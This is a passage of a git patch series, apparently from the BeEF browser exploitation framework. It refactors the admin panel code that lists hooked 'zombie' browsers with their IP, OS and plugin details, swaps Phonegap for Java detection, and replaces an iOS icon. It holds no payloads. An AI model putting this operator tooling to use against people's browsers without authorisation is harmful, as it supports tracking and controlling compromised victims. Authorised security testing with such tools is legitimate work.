hooked_browser_tree_update - # retrieve the hbs that are online - hooked_browsers_online = zombies2json_simple(BeEF::Core::Models::HookedBrowser.all(:lastseen.gte => (Time.new.to_i - 30))) - - # retrieve the hbs that are offline - hooked_browsers_offline = zombies2json_simple(BeEF::Core::Models::HookedBrowser.all(:lastseen.lt => (Time.new.to_i - 30))) - - # retrieve the distributed engine rules that are enabled - distributed_engine_rules = distributed_engine_rules_2_json_simple(BeEF::Core::DistributedEngine::Models::Rules.all(:enabled => true)) - - # hash that gets populated with all the information for the hb trees - ret = { - 'success' => true, - - # the list of hb - 'hooked-browsers' => { - 'online' => hooked_browsers_online, - 'offline' => hooked_browsers_offline - }, - - # the rules for the distributed engine - 'ditributed-engine-rules' => distributed_engine_rules - } - - @body = ret.to_json - end - - # Takes a list distributed engine rules and format the results into JSON - def distributed_engine_rules_2_json_simple(rules) + class Panel < BeEF::Extension::AdminUI::HttpController - end - - # Takes a list of zombies and format the results in a JSON array. - def zombies2json_simple(zombies) - zombies_hash = {} - i = 0 - - zombies.each do |zombie| - # create hash of zombie details - zombies_hash[i] = (get_simple_hooked_browser_hash(zombie)) - i+=1 + def initialize + super({ + 'paths' => { + '/' => method(:index), + '/hooked-browser-tree-update.json' => method(:hooked_browser_tree_update) + } + }) + end + + # default index page + def index; + end + + # return a JSON object contains all the updates for the hooked browser trees + def hooked_browser_tree_update + # retrieve the hbs that are online + hooked_browsers_online = zombies2json_simple(BeEF::Core::Models::HookedBrowser.all(:lastseen.gte => (Time.new.to_i - 30))) + + # retrieve the hbs that are offline + hooked_browsers_offline = zombies2json_simple(BeEF::Core::Models::HookedBrowser.all(:lastseen.lt => (Time.new.to_i - 30))) + + # retrieve the distributed engine rules that are enabled + distributed_engine_rules = distributed_engine_rules_2_json_simple(BeEF::Core::DistributedEngine::Models::Rules.all(:enabled => true)) + + # hash that gets populated with all the information for the hb trees + ret = { + 'success' => true, + + # the list of hb + 'hooked-browsers' => { + 'online' => hooked_browsers_online, + 'offline' => hooked_browsers_offline + }, + + # the rules for the distributed engine + 'ditributed-engine-rules' => distributed_engine_rules + } + + @body = ret.to_json + end + + # Takes a list distributed engine rules and format the results into JSON + def distributed_engine_rules_2_json_simple(rules) + + end + + # Takes a list of zombies and format the results in a JSON array. + def zombies2json_simple(zombies) + zombies_hash = {} + i = 0 + + zombies.each do |zombie| + # create hash of zombie details + zombies_hash[i] = (get_simple_hooked_browser_hash(zombie)) + i+=1 + end + + zombies_hash + end + + # create a hash of simple hooked browser details + def get_simple_hooked_browser_hash(hooked_browser) + + browser_name = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'BrowserName') + browser_version = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'BrowserVersion') + browser_icon = BeEF::Core::Models::BrowserDetails.browser_icon(hooked_browser.session) + os_icon = BeEF::Core::Models::BrowserDetails.os_icon(hooked_browser.session) + os_name = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'OsName') + hw_icon = BeEF::Core::Models::BrowserDetails.hw_icon(hooked_browser.session) + hw_name = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'Hardware') + domain = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HostName') + has_flash = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasFlash') + has_web_sockets = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasWebSocket') + has_googlegears = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasGoogleGears') + has_java = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'JavaEnabled') + date_stamp = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'DateStamp') + + return { + 'session' => hooked_browser.session, + 'ip' => hooked_browser.ip, + 'domain' => domain, + 'port' => hooked_browser.port.to_s, + 'browser_name' => browser_name, + 'browser_version' => browser_version, + 'browser_icon' => browser_icon, + 'os_icon' => os_icon, + 'os_name' => os_name, + 'hw_icon' => hw_icon, + 'hw_name' => hw_name, + 'has_flash' => has_flash, + 'has_web_sockets' => has_web_sockets, + 'has_googlegears' => has_googlegears, + 'has_java' => has_java, + 'date_stamp' => date_stamp + } + + end + end + + end end - - zombies_hash - end - - # create a hash of simple hooked browser details - def get_simple_hooked_browser_hash(hooked_browser) - - browser_name = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'BrowserName') - browser_version = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'BrowserVersion') - browser_icon = BeEF::Core::Models::BrowserDetails.browser_icon(hooked_browser.session) - os_icon = BeEF::Core::Models::BrowserDetails.os_icon(hooked_browser.session) - os_name = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'OsName') - hw_icon = BeEF::Core::Models::BrowserDetails.hw_icon(hooked_browser.session) - hw_name = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'Hardware') - domain = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HostName') - has_flash = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasFlash') - has_web_sockets = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasWebSocket') - has_googlegears = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasGoogleGears') - has_phonegap = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasPhonegap') - date_stamp = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'DateStamp') - - return { - 'session' => hooked_browser.session, - 'ip' => hooked_browser.ip, - 'domain' => domain, - 'port' => hooked_browser.port.to_s, - 'browser_name' => browser_name, - 'browser_version' => browser_version, - 'browser_icon' => browser_icon, - 'os_icon' => os_icon, - 'os_name' => os_name, - 'hw_icon' => hw_icon, - 'hw_name' => hw_name, - 'has_flash' => has_flash, - 'has_web_sockets' => has_web_sockets, - 'has_googlegears' => has_googlegears, - 'has_phonegap' => has_phonegap, - 'date_stamp' => date_stamp - } - end end - -end -end -end -end diff --git a/extensions/admin_ui/media/javascript/ui/panel/ZombiesMgr.js b/extensions/admin_ui/media/javascript/ui/panel/ZombiesMgr.js index e161c8209..347f7b97d 100644 --- a/extensions/admin_ui/media/javascript/ui/panel/ZombiesMgr.js +++ b/extensions/admin_ui/media/javascript/ui/panel/ZombiesMgr.js @@ -35,7 +35,7 @@ var ZombiesMgr = function(zombies_tree_lists) { var has_flash = zombie_array[index]["has_flash"]; var has_web_sockets = zombie_array[index]["has_web_sockets"]; var has_googlegears = zombie_array[index]["has_googlegears"]; - var has_phonegap = zombie_array[index]["has_phonegap"]; + var has_java = zombie_array[index]["has_java"]; var date_stamp = zombie_array[index]["date_stamp"]; text = " "; @@ -49,9 +49,9 @@ var ZombiesMgr = function(zombies_tree_lists) { balloon_text+= "
Hardware: " + hw_name; balloon_text+= "
Domain: " + domain + ":" + port; balloon_text+= "
Flash: " + has_flash; - balloon_text+= "
Web Sockets: " + has_web_sockets; + balloon_text+= "
Java: " + has_java; + balloon_text+= "
Web Sockets: " + has_web_sockets; balloon_text+= "
Google Gears: " + has_googlegears; - balloon_text+= "
Phonegap API: " + has_phonegap; balloon_text+= "
Date: " + date_stamp; var new_zombie = { From 1e0f83d23fea61582d69d22a7771cd010e0cadef Mon Sep 17 00:00:00 2001 From: bcoles Date: Wed, 27 Jun 2012 21:58:07 +0930 Subject: [PATCH 13/13] Added better icon for iOS --- .../admin_ui/media/images/icons/ios.png | Bin 38666 -> 2266 bytes 1 file changed, 0 insertions(+), 0 deletions(-) diff --git a/extensions/admin_ui/media/images/icons/ios.png b/extensions/admin_ui/media/images/icons/ios.png index de94a27ce9682ce1ce4d2c84248b879043ffdb9c..a3477139c1b072e510d90d22d595b948a11782d7 100644 GIT binary patch literal 2266 zcmV<02qpK4P)!iLegJ^WTI z005#WLKH!A;feNmJ>=-IqlW;r0th_HAQMG^2EY|9C~{1hJOzP30Ks4of*@dUa1bAT z_~FMMx91-Ky72^^n2z+PBY%^KN)Bntc`C+t*8+x1Fx**XwKl{=o-lTU%ON%gV|ePN&mYQ&V$G5CpeQ zr$cF3>7tb@SC-6}F(c19)oRk~^$-LBU0q$F#>N}YQ=ffSar$4UKM_T-EixHVLu|YR z5&+mXY+S#2^RHk3)y$bQIZ+ffUk(O?XlS_ZzHy_msk5uoYcv{>JA1Z0KY!jlo6TlY z>m&UhAq3Uc)$Tp-?AhCRqwy2~7os?NJOmObikh|a&7JR+mXBq>74) z=DY5>=(byJUqd5fjpoEO0L!bJHg0?QrI#JU!^1IW?QuQ_0H4ptr>3MxSX3n%frKo3 zR`G@n8%w2Gi8b(}n2hpS+wHdgojZ2yzI*pSrx0bg)*?UyuxwbrezQ5%%rG<>uzjRXVQL;1orT%Qxih zQoa7#wQG@0%%=_efoKs(u$ayE;o;$j1|fvN=kvku_d`mNDT)HaFfbSlFdB_8nN;^F zO(IGX%{On}L^z#@>yV>HfCj+m4Te;n53k_h;2?T>dPa_dT0&72XqpDcaY#;1Mp9A| zXqp~5fyE+22!Yq@bz=-Ewq_KfKrs?WPF9LIrS z7)=uLG=ieX_Mt>`9~kfrgghP(L{S9GvZH{i)z#W0GLo6GEDN1ZHwwH|PMJI<{m$(> zaet-IA`l7;1$@$sM*|#-h+KG{hh&yCO^-Ogq=F#8Znw|A^7WNugj4I7>9iUF0)P+l zK{v~?Q31*cDC=sXHtX^_P1DHE&Ylmzj&K-_`Nd9a1p>Xjy?5mVqJfsH8c{W{N|oAe znYPrDWhHAbUA)v9ArW;Iw6al(0;VomvSc;GFwp6AkeAVvW!Vvp^{!5*Q&pSImUF$n z{#(D_--U2Q(%fV;33PY&P)nCC-N11is|8*TQVu*C0WHupO^?(Q6BG40vvUgS>gt+; z!C()7pw>!g5fA~e`SbD@XIe9D(ZDM~>-BooXL16{QUWh0VX;_Jo-TO0#N+V{c-)@v z01N>bl^R4NAaYz{Mqy!LaXjE9;99B#t+fJj5-BMuiO(!}W<_r9?D;h{HD3}U_9<5) z+IhfVS$W~?+O;oj&B(||mUdaGlvEm2UROFb5Oz>P$U`cf+LS7HZkA=~q@-kPC?u$2 zjYc3u2xv8NGcaOc&)Rtk^mtDO-)Um7cX4;Cp10+$2!yt!9dWTF?EV9Z*JaP zr4Ojty;_?x0?A1#O;WCe5bQs&|3GJF=NABap%PAG5fB0J*XrxtD_5-eX?pr3PAhC` z0he+grJ2crYt=7ayijwZ{KNqOcc2o1;voP4gb2jn_x<;QlBFff3{E|T&})1-uUhBc%HusU_c98JOo4lLFaAfJzG}hjJ&-39IcS5wP~pV)KZ$J5ex>& zu3f)>ueG)Ha{%8VN;(k_0YrWvP+eVpYw@DR3#Uz+Hc6+`X@X`LW|Tc^q@Z~4UFYMX9 z=Z^rI5l1#U)_YmLfKf*_!_w)SpSRaI?eW#zZc&COnl zqA+L9oXM+Jt(xm_I2PvT=i8+GUka(ceZ8T>hYz26_nmk51Gs_kq5iRcUYC>L08D>z z?TatG^7B`ow_2@sK@j-1wl?RHBS+3(xpJij;R8uO9+&_V>1SQNdbMNS`gK3av}R5h z1OY8AEv*ONKlo{LQ}dU2a1My;qT^9+>h%DU0azlyfbgu{kCeO$2>As`YNVtQCMxe2 ow>*x2HJ~y2nrR~Y{cp*C0Yn{~D<_k##sB~S07*qoM6N<$f=FU4y#N3J literal 38666 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¨_I7(a}HJ^_A2`jm;b!?oaGrHY+LO?Ff#wYyTIa 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 